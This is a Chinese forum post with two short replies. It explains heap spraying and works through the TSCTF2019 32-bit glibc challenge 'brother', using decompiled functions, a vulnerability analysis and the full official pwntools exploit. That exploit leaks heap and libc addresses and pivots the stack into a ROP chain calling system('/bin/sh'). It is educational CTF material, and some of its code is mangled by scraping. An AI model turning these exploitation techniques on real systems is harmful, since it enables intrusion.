roger 发表于 2020-5-27 13:45:26

堆喷思想在glibc pwn中的应用

堆喷思想在glibc pwn中的应用前言  据笔者观察,在CTF比赛中许多glibc pwn题难以结合实际漏洞对选手进行考察,web类的题目和CVE结合的更紧密一点。个人认为CTF作为信息安全爱好者入门的一个途径应该更加偏向实战中的技巧对选手的技能进行考察。近些年的Real World模式,有qemu逃逸、docker逃逸、VMware逃逸、浏览器沙箱逃逸、IOT设备破解等新型题目,和实际漏洞更加贴近。kernel pwn题目也让二进制选手把目光放在更底层的操作系统部分。
堆喷介绍基本概念  堆喷并没有一个官方的定义,我们根据这种攻击技术的特点总结一下。堆喷是在shellcode之前加上大量的slide code(滑板指令),组成一个注入代码段。之后多次申请内存(一般是堆等动态内存),用注入代码段反复填充,之后结合其他攻击技术来控制程序执行流,使其跳转到堆上执行,最终得以执行shellcode。
  堆喷不同于UAF,UAF一般都有明确的可以重用的内存区域,不需要"喷射"多个对象内存,通常只需要将目标对象放到之前已经释放/易受攻击的内存空间中即可。
攻击原理  注入代码段的组成为滑板指令+shellcode,其中后者只需编写对应系统/架构/软件的恶意代码。以32位windows为例,前者一般使用0x0c0c0c0c。根据微软官网对于虚拟内存分配的介绍可以得知每个用户模式进程都有其各自的专用虚拟地址空间,但在内核模式下运行的所有代码都共享称为系统空间的单个虚拟地址空间。用户模式进程的虚拟地址空间称为用户空间 。
  在 32 位 Windows 中,可用的虚拟地址空间共计为 2^32 字节(4 GB)。 通常,较低的 2 GB 用于用户空间,较高的 2 GB 用于系统空间。
  也就是说这里的0~0x7fffffff的虚拟地址属于用户空间。
  其中在XP sp3系统上的内存探测发现各种内存数据在内存地址的分布大概为栈->堆->全局静态变量(从低地址道高地址),由此可知堆的起始分配地址是很低的。
  当申请大量内存,堆很有可能覆盖到的地址是0x0A0A0A0A(160M),0x0C0C0C0C(192M),0x0D0D0D0D(208M)等等几个地址,这也是为什么一般的网马里面进行堆喷时,申请的内存大小一般都是200M的原因,主要是为了保证能覆盖到0x0C0C0C0C地址
  那么为什么要采取slide code+shellcode的组成形式呢,直接都用shellcode不好吗?这个问题我们可以举个小例子来看:假如可控内存大小为1kb,一个shellcode长度为16字节,假如我们填满shellcode,即64个shellcode,因每次需要定位到shellcode的头部才能完成执行shellcode的完整过程,我们假设其中有一个函数指针,其位置是随机的,成功执行sc的概率为64/1024=6.25%;如果我们采用1008 bytes slide code+ 16 bytes shellcode的方式,当执行slide code的时候依然可以通过滑栈等指令往下执行到shellocde,此时成功执行sc的概率为(1008+1)/1024=98.5%,且差距会随着内存空间增大而越发明显,当到了我们实际虚拟内存中,触发成功的概率甚至高达99.9%。
  第二个问题是我们为什么要选择0x0c0c0c0c这个值而不是\x90这种nop作为我们的滑板指令呢?这个问题跟我们控制执行流的方式有关,目前我们使用较多的攻击方式是攻击函数的虚表指针(以c++编写的软件为多),虚表就是一个对象,里面存储了许多函数指针,假如我们拿\x90作为滑板指令,则这些函数指针都被覆盖成了0x90909090,在执行这些函数的时候会跳转到0x90909090的内核空间去执行代码,软件crash。而我们采用堆喷的方式让0x0c0c0c0c的内容也会0x0c0c0c0c,这种情况下无论是一级函数指针还是二级甚至三级指针,都能最终从0x0c0c0c0c这块地址开始执行,最终经过一系列的滑板指令到达shellcode,获取权限。
TSCTF2019 薛定谔的堆块  这道题目是TSCTF(天枢CTF)2019的一道题目,当时是零解。出题人为w1tcher师傅,据p4nda师傅说他和w1tcher师傅聊天的时候谈到要出一道非传统的glibc pwn,考验大家对于堆喷思维的了解和应用。遗憾的是当时对此知之甚少,现分析w1tcher师傅赛后给的wp,帮助大家了解这道涉及到堆喷的glibc pwn。
  题目下载链接如下:文件
题目分析  这道题是一道linux glibc pwn,拿checksec查看一下保护机制发现这是一个32位的程序,开启了所有常见保护。
*] '/home/wz/Desktop/CTF/tsctf2019/brother/brother'  Arch:   i386-32-little
  RELRO:    Full>
  Stack:    Canary found
  NX:       NX enabled
  PIE:      PIE enabled
  主要功能函数为play函数,共实现了5个功能,分别为Create、Display、Delete、Modify和CallFuc
void play()  {
  while ( 1 )
  {
  menu();
  switch ( read_choice() )
  {
  case 1:
  Create();
  break;
  case 2:
  Display();
  break;
  case 3:
  Delete();
  break;
  case 4:
  Modify();
  break;
  case 5:
  CallFuc();
  break;
  case 6:
  puts("Thank you for using");
  exit(0);
  return;
  default:
  puts("Choice error!");
  break;
  }
  }
  }
  
  Create函数主要是创建新的chunk,每一次Create会调用0x10次malloc(size+4),分配一组相同大小的chunk,并且随机地将这些chunk地址及size存放在一个bss上一个大区块的16个小区域内。chunk的数量不超过0x10*0x100。并且将这0x10个节点开始的位置记录在dword_4008。
  每次在读取完用户输入之后,会根据用户输入的type在chunk后追加一个四字节的函数指针。
  这里的read_str函数在读取输入的时候调用参数为chunk_addr及size+1,函数内部会在输入最后填'\x00',这样就保证了输出会有零字符截断。
unsigned int Create()  {
  unsigned int result; // eax
  int choice; // eax
  unsigned int i; //
  signed int j; //
  signed int l; //
  int k; //
  int>
  _DWORD *v7; //
  for ( i = 0; i <= 0xFF && dword_4060; ++i )
  ;
  if ( i == 0x100 )
  return puts("Full! you can't apply for more.");
  printf("Please enter the>
  size = read_choice();
  if (>
  return puts("Size error!");
  for ( j = 0; j <= 15; ++j )
  {
  for ( k = rand() % 16; dword_4060; k = (k + 1) % 16 )
  ;
  dword_4060 =>
  dword_4060 = malloc(size + 4);
  if ( !dword_4060 )
  {
  puts("Malloc error!");
  exit(-1);
  }
  }
  for ( l = 0; l <= 15; ++l )
  {
  printf("input note data : ");
  read_str(dword_4060, dword_4060);
  TypeMenu();
  printf("input the type : ");
  choice = read_choice();
  v7 = (_DWORD *)(dword_4060 + dword_4060);// here
  if ( choice == 2 )
  {
  *v7 = &unk_4014;
  }
  else if ( choice > 2 )
  {
  if ( choice == 3 )
  {
  *v7 = &unk_401C;
  }
  else if ( choice == 4 )
  {
  *v7 = &unk_4024;
  }
  }
  else if ( choice == 1 )
  {
  *v7 = &unk_400C;
  }
  }
  printf("Note creation success! Index is : %d - %d\n", 16 * i, 16 * (i + 1) - 1);
  result = i;
  dword_4008 = i;
  return result;
  }
  /*
  .data:00004010               dd offset common
  .data:00004014 unk_4014      db10h               ; DATA XREF: Create+266↑o
  .data:00004015               db27h ; '
  .data:00004016               db    0
  .data:00004017               db    0
  .data:00004018               dd offset transparent
  .data:0000401C unk_401C      db64h ; d             ; DATA XREF: Create+273↑o
  .data:0000401D               db    0
  .data:0000401E               db    0
  .data:0000401F               db    0
  .data:00004020               dd offset Emmm
  .data:00004024 unk_4024      db 0C8h               ; DATA XREF: Create+280↑o
  .data:00004025               db    0
  .data:00004026               db    0
  .data:00004027               db    0
  .data:00004028               dd offset anoymous
  */
  int common()
  {
  return puts("I am a common man!");
  }
  int transparent()
  {
  return puts("I am a transparent person!");
  }
  int Emmm()
  {
  return puts("flag is flag{1t_i5_a_5ecr2t}!");
  }
  int anoymous()
  {
  return puts("I am an anonymous person!");
  }
  unsigned int __cdecl read_str(int str, unsigned int len)
  {
  int v2; // eax
  int v3; // eax
  unsigned int result; // eax
  char buf; //
  unsigned int v6; //
  ssize_t v7; //
  unsigned int v8; //
  v8 = __readgsdword(0x14u);
  v6 = 0;
  while ( v6 < len )
  {
  v7 = read(0, &buf, 1u);
  if ( v7 <= 0 )
  {
  puts("Read error!");
  exit(-1);
  }
  if ( buf == '\n' )
  {
  buf = 0;
  v2 = v6++;
  *(_BYTE *)(str + v2) = 0;
  break;
  }
  v3 = v6++;
  *(_BYTE *)(str + v3) = buf;
  }
  *(_BYTE *)(len - 1 + str) = 0;
  result = __readgsdword(0x14u) ^ v8;
  if ( result )
  chunk_faile();
  return result;
  }
  
  Display函数根据用户输入的start_index和end_index输出从notes到notes(包含此节点)的节点的全部内容。
int Display()  {
  int result; // eax
  unsigned int i; //
  unsigned int start_index; //
  unsigned int end_index; //
  printf("Please input start index : ");
  start_index = read_choice();
  printf("Please input end index : ");
  end_index = read_choice();
  if ( start_index > 0xFFF || end_index > 0xFFF )
  return puts("Index error!");
  for ( i = start_index; ; ++i )
  {
  result = i;
  if ( i > end_index )
  break;
  printf("Notes are : %s\n", dword_4060);
  }
  return result;
  }
  
  Delete函数根据dword_4008的值释放0x10个堆块并且将对应位置的notes清空。
int Delete()  {
  int i; //
  int v2; //
  v2 = dword_4008;
  if ( dword_4008 < 0 || (unsigned int)dword_4008 > 0xFF )
  return puts("Delete error!");
  for ( i = 16 * dword_4008; 16 * (v2 + 1) > i; ++i )
  {
  free((void *)dword_4060);
  dword_4060 = 0;
  }
  --dword_4008;
  return puts("Delete success!");
  }
  
  Modify函数对于指定index的堆块进行编辑。
int Modify()  {
  unsigned int v1; // ST1C_4
  unsigned int v2; //
  printf("Please input index : ");
  v2 = read_choice();
  if ( v2 > 0xFFF || !dword_4060 )
  return puts("Index error!");
  v1 = strlen((const char *)dword_4060) + 1;
  printf("Please enter the note : ");
  read_str(dword_4060, v1);
  return puts("Edit success!");
  }
  
  CallFuc这个函数检查note这个chunk的最后四个字节v2,如果v2这个地址的值val不为0就--*v2,指针值自减一;否则调用*(v2+4)()
int CallFuc()  {
  int v1; //
  int v2; //
  printf("Please input index : ");
  v1 = read_choice();
  if ( v1 < 0 || (unsigned int)v1 > 0xFFF || !dword_4060 )
  return puts("Index error!");
  v2 = *(_DWORD *)(dword_4060 + dword_4060);
  if ( *(_DWORD *)v2 )
  --*(_DWORD *)v2;
  else
  (*(void (**)(void))(v2 + 4))();
  return puts("Call success!");
  }
  
漏洞利用  这里的漏洞在Create函数里,在选择type的时候一旦我们没有选择1-4,就会直接返回,不再赋值函数指针,这就导致堆上对应的部分可能残存了之前堆块的信息,之后在CallFuc中处理的函数指针是可控的。
  虽然可以控制这个指针v2,但是由于开了PIE以及输入零字符截断,我们不能通过传统方式泄露堆地址和libc地址,这里用到的就是堆喷的思想,我们在gdb中多次调试会发现heap的地址总是0x57*或者0x56*,这意味着如果我们申请足够大的内存空间(如0x20000000),那么堆地址就会变成0x56*-0x58*,0x57*里是一定有值的,此时我们将v2设置为0x57*不会出现内容引用错误,那么我们如果事先在这块内存上布置好数据,通过指针引用的减一功能,对其中某块数据减一,最后再输出,就可以判断是在哪块内存做了修改,进而判断这块内存地址(通过这个固定内存地址-输出中特殊字符相对于开始的位置offset)。
  这里还有一个问题就是一个大区块中的16个小区块分布是随机的,并不是按照地址递增顺序从前到后依次排布,这就导致我们无法衡量之前计算得到的这块内存地址距离开始分配内存的heap_start之间的距离。这里有朋友可能想到根据堆排布用1/16的概率爆破,但是这条路已经被出题人想到并堵死了,在Init函数里先用堆分配了一块随机大小的内存,导致堆的排布并不是完全可控的。
  继续思考,虽然一个大区块的0x10个小堆块分布随机,但是由于每个大区块分配的总数是一定的我们可以根据刚才找到的小堆块挨个前推,一直找到大区块的起始位置,这个位置不具有随机性,进而可以推断出heap_start_addr。
  堆地址泄露之后我们可以将v2指向一个分配到unsorted bin的chunk部分写,用指针减一功能将\x00改为\xff,进而绕过零字符截断,输出main_arena相关地址泄露libc_base。
/*  gdb-peda$ vmmap
  Start      End      Perm      Name
  0x5658e000 0x56591000 r-xp      /home/wz/Desktop/CTF/tsctf2019/brother/brother
  0x56591000 0x56592000 r--p      /home/wz/Desktop/CTF/tsctf2019/brother/brother
  0x56592000 0x56593000 rw-p      /home/wz/Desktop/CTF/tsctf2019/brother/brother
  0x56593000 0x5659b000 rw-p      mapped
  0x5811c000 0x5813e000 rw-p      
  0xf7dcc000 0xf7dcd000 rw-p      mapped
  0xf7dcd000 0xf7f7d000 r-xp      /lib/i386-linux-gnu/libc-2.23.so
  0xf7f7d000 0xf7f7f000 r--p      /lib/i386-linux-gnu/libc-2.23.so
  0xf7f7f000 0xf7f80000 rw-p      /lib/i386-linux-gnu/libc-2.23.so
  0xf7f80000 0xf7f83000 rw-p      mapped
  0xf7fa0000 0xf7fa1000 rw-p      mapped
  0xf7fa1000 0xf7fa4000 r--p      
  0xf7fa4000 0xf7fa6000 r-xp      
  0xf7fa6000 0xf7fc9000 r-xp      /lib/i386-linux-gnu/ld-2.23.so
  0xf7fc9000 0xf7fca000 r--p      /lib/i386-linux-gnu/ld-2.23.so
  0xf7fca000 0xf7fcb000 rw-p      /lib/i386-linux-gnu/ld-2.23.so
  0xff7dd000 0xff7ff000 rw-p      
  */
  unsigned int Init()
  {
  int v0; // eax
  unsigned int result; // eax
  unsigned int buf; //
  int fd; //
  unsigned int v4; //
  v4 = __readgsdword(0x14u);
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 2, 0);
  alarm(0x12Cu);
  fd = open("/dev/urandom", 0);
  read(fd, &buf, 4u);
  srand(buf);
  v0 = rand();
  malloc(4 * (v0 % 0x810));
  result = __readgsdword(0x14u) ^ v4;
  if ( result )
  chunk_faile();
  return result;
  }
  
  现在我们有了libc地址就可以使用libc中的gadget了,我们将v2改为堆地址heap_addr,在满足*heap_addr == 0的条件下可以调用*(v2+4)上的gadget,经过测试发现one_gadget使用条件均不满足,需要自己构造rop。
  观察CallFuc的调用部分,可以看到.text:0000131D               mov   ecx, 将堆地址放在了ecx寄存器中且后续没有更改寄存器值,我们希望将栈迁移到堆,因此只要想办法将ecx的值放进esp里即可。
  这里寻找了两个特殊的gadget,首先执行第一个gadget让eax和ecx寄存器的值互换然后调用[*heap_addr],我们在堆块头部放第二个gadget,执行这个gadget会让eax与esp寄存器值互换,pop掉无用数据,ret的时候触发rop chain
.text:00001314 loc_1314:                               ; CODE XREF: CallFuc+4A↑j  .text:00001314               lea   eax, (dword_4060 - 3F98h)
  .text:0000131A               mov   edx,
  .text:0000131D               mov   ecx,
  .text:00001320               lea   eax, (dword_4060 - 3F98h)
  .text:00001326               mov   edx,
  .text:00001329               mov   eax,
  .text:0000132D               add   eax, ecx
  .text:0000132F               mov   eax,
  .text:00001331               mov   , eax
  .text:00001334               mov   eax,
  .text:00001337               mov   eax,
  .text:00001339               test    eax, eax
  .text:0000133B               jnz   short loc_1347
  .text:0000133D               mov   eax,
  .text:00001340               mov   eax,
  .text:00001343               call    eax
  .text:00001345               jmp   short loc_1354
  
/*  magic_gadget1 = 0x00161871# 0x00161871 : xchg eax, ecx ; cld ; call dword
  ptr
  magic_gadget2 = 0x00072e1a# 0x00072e1a : xchg eax, esp ; sal bh, 0xd8 ;
  mov esi, eax ; add esp, 0x14 ; mov eax, esi ; pop ebx ; pop esi ; ret
  
exp.py  这里给的exp是w1tcher师傅赛后给的官方exp。较为复杂,建议中间多加断点进行调试,需要注意的几个点:

[*]  这里通过先分配n个堆块再释放再申请n个小堆块的方式进行堆风水排布以及v2指针的控制
[*]  选取的地址为0x58585858,第一步通过输出判断0x58585858这个地址在我们分配的哪个notes的哪个offset处,之后根据这个设定范围,向后搜索离其最近的一个大区块的最后一个区块(这里的最后指的是分配的堆地址的最大的那一个而不是bss上这个区块里idx最大的那个),最终根据偏移计算出heap_start_addr(开始分配堆块的起始地址)
from pwn import *  import string
  import os
  from hashlib import sha256
  context(arch = 'i386', os = 'linux', endian = 'little')
  context.log_level = 'info'
  context.terminal = ['tmux', 'split', '-h']
  '''
  def POW():
  context.log_level = 'debug'
  p.recvuntil('sha256(XXXX + ')
  end = p.recvuntil(') == ')[ : -5]
  hs = p.recvline()[ : -1]
  p.recvuntil(' : ')
  s = string.letters+string.digits
  for t1 in s:
  for t2 in s:
  for t3 in s:
  for t4 in s:
  if sha256(t1 + t2 + t3 + t4 + end).hexdigest() == hs:
  p.sendline(t1 + t2 + t3 + t4)
  context.log_level = 'info'
  return
  exit(0)
  '''
  def malloc(sz, data):
  p.recvuntil('>>> ')
  p.sendline('1')
  p.recvuntil(': ')
  p.sendline(str(sz))
  for buf, te in data:
  p.recvuntil(': ')
  p.sendline(buf)
  p.recvuntil(': ')
  p.sendline(str(te))
  def show(s_idx, e_idx):
  p.recvuntil('>>> ')
  p.sendline('2')
  p.recvuntil(': ')
  p.sendline(str(s_idx))
  p.recvuntil(': ')
  p.sendline(str(e_idx))
  def delete():
  p.recvuntil('>>> ')
  p.sendline('3')
  def modify(idx, buf):
  p.recvuntil('>>> ')
  p.sendline('4')
  p.recvuntil(': ')
  p.sendline(str(idx))
  p.recvuntil(': ')
  p.sendline(buf)
  def callfuc(idx):
  p.recvuntil('>>> ')
  p.sendline('5')
  p.recvuntil(': ')
  p.sendline(str(idx))
  def GameStart(ip, port, debug):
  global p
  if debug == 1:
  p = process('./brother')
  elif debug == 2:
  p = process('./brother',env={'LD_PRELOAD':'./libc-2.23.so'})
  else:
  p = remote(ip, port)
  #POW()
  data = []
  for i in range(0x10):
  data.append(['X' * (0x20000 - 1), 1])
  malloc(0x20000, data)
  delete()
  #malloc 0x100 0x20000 chunks
  for i in range(0x10):
  malloc(0x20000, data)
  data = []
  for i in range(0x10):
  data.append(['X' * (0x1000 - 1), 1])
  malloc(0x1000, data)
  delete()
  data = []
  for i in range(0x10):
  data.append(['X' * (0xf0 - 1), 0])
  malloc(0xf0, data)
  #every malloc 0x10 chunk
  #set 0x58585858 = 0x58585857
  callfuc(0x100)
  show(0, 0x100)
  index = 0
  offest = 0
  out = ''
  for i in range(0x100):
  out = p.recvline()
  if 'W' in out:
  index = i
  break
  out = out
  offest = out.index('W')
  log.info('0x58585858 is : %d' % index)
  log.info('offest is : %d' % offest)
  log.info('start addr is : ' + hex(0x58585858 - offest))
  block_start = (index / 0x10) * 0x10
  log.info('block start is : ' + hex(block_start))
  magic_addr = 0x58585858
  #0x100-0x110 free
  delete()
  count = 1
  p_index = 0
  while 1:
  log.info("start find prev block count = %d" % count)
  data = []
  for i in range(0x10):
  data.append([p32(magic_addr - 0x20008 * count) * (0x1000 / 4 - 1),
  1])
  malloc(0x1000, data)
  delete()
  data = []
  for i in range(0x10):
  data.append(['X' * (0xa0 - 1), 0])
  malloc(0xa0, data)
  log.info("start call fuc count = %d" % count)
  callfuc(0x100)
  show(block_start - 0x10, index + 1)
  p_index = 0
  out = ''
  for i in range(index + 1 - block_start + 0x10):
  out = p.recvline()
  if 'W' in out:
  out = out
  print "find again! " + str(out.index('W'))
  p_index = i + block_start - 0x10
  break
  delete()
  #find last of th
  if p_index < block_start:
  break
  count += 1
  log.info('block start is : %d' % block_start)
  log.info('p_index is : %d' % p_index)
  heap_start_addr = magic_addr - 0x20008 * (count - 1 +0x10 * (block_start / 0x10)) - offest - 8
  log.info('heap start is : ' + hex(heap_start_addr))
  for i in range(0x10):
  delete()
  data = []
  for i in range(0x10):
  data.append()
  malloc(0x1000, data)
  delete()
  data = []
  for i in range(0x10):
  data.append(['aaa', 0])
  malloc(0xa0, data)
  callfuc(0)
  show(0, 0x10)
  for i in range(index + 1 - block_start + 0x10):
  out = p.recvline()
  out = out
  if 'aaa' != out:
  libc_addr = u32(out) + 1 - 0x1b07b0
  break
  log.info('libc addr is : ' + hex(libc_addr))
  delete()
  magic_gadget1 = 0x00161871# 0x00161871 : xchg eax, ecx ; cld ; call dword
  magic_gadget2 = 0x00072e1a# 0x00072e1a : xchg eax, esp ; sal bh, 0xd8 ;
  system_offest = 0x3a940
  binsh_addr = 0x15902b
  data = []
  for i in range(0x10):
  data.append()
  malloc(0x1000, data)
  delete()
  data = []
  for i in range(0x10):
  data.append([(p32(libc_addr + magic_gadget2) + p32(0) + p32(libc_addr
  + magic_gadget1) + p32(0) * 4 + p32(libc_addr + system_offest) + p32(0) +
  p32(libc_addr + binsh_addr)).ljust(0xa0 -1, '\x00'), 0])
  malloc(0xa0, data)
  gdb.attach(p)
  callfuc(0)
  p.interactive()
  GameStart('10.112.100.47', 9999, 2)
  
总结  这道题实际上并没有用到标准的堆喷获取控制流的技术,但是在解题过程中应用到了这种堆喷的思维来bypass PIE。我们通过分配大量内存以及堆风水来达到控制程序反馈信息进而获得地址的目的,这种宏观意义上对于堆分配的利用同传统glib pwn上考察几个堆块之间分配释放利用技巧不同,更注重大家对于全局的思考,是一道非常精妙的二进制题目。这里再次感谢w1tcher师傅赛后提供的writeup和exp,以及p4nda师傅对我的帮助。
参考  演示Heap Spray(堆喷射)的原理
  Linux内核通用堆喷射技术详解
  Microsoft-virtual-address-spaces
**** Hidden Message *****


firefish 发表于 2020-5-28 11:43:17

看了LZ的帖子,我只想说一句很好很强大!

H4lo[img] 发表于 2020-5-30 08:53:47

学习学习,思路不错
页: [1]
查看完整版本: 堆喷思想在glibc pwn中的应用